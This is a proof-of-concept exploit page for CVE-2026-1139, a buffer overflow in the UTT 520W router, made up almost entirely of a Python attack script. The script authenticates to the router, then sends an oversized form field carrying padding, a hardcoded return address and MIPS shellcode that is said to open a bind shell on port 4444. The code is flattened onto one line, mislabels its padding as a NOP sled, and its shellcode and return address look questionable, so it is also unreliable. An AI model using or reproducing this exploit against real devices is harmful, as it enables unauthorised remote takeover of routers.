CVE-2026-1139 UTT进取520W路由器strcpy缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2026-1139 PoC - UTT 进取 520W Buffer Overflow # Target: /goform/ConfigExceptMSN import requests import sys target_ip = input("Enter target IP: ") username = input("Enter username: ") password = input("Enter password: ") # Login to router session = requests.Session() login_data = { "username": username, "password": password } try: login_url = f"http://{target_ip}/login/Auth" resp = session.post(login_url, data=login_data, timeout=10) print(f"Login response: {resp.status_code}") # Construct overflow payload # Shellcode for MIPS architecture (bind shell on port 4444) shellcode = b"\x50\x73\x0f\x24\x27\x79\x1f\x2c\x24\x1f\xe0\x01\x01\x0e\x0f\x24" shellcode += b"\x0c\x01\x01\x01\x01\x01\x01\x01\xf0\xff\xa4\x27\x21\x20\x04\x26" shellcode += b"\x21\x04\x05\x24\x11\x5e\x05\x34\x15\x60\x05\x34\x15\x60\x05\x34" # NOP sled + return address (0x04040404) payload = b"A" * 256 + b"\x04\x04\x04\x04" + shellcode # Send exploit exploit_data = { "msn": payload.decode('latin-1') } exploit_url = f"http://{target_ip}/goform/ConfigExceptMSN" resp = session.post(exploit_url, data=exploit_data, timeout=10) print(f"Exploit sent. Response: {resp.status_code}") print("Check if shell is listening on port 4444") except Exception as e: print(f"Error: {e}")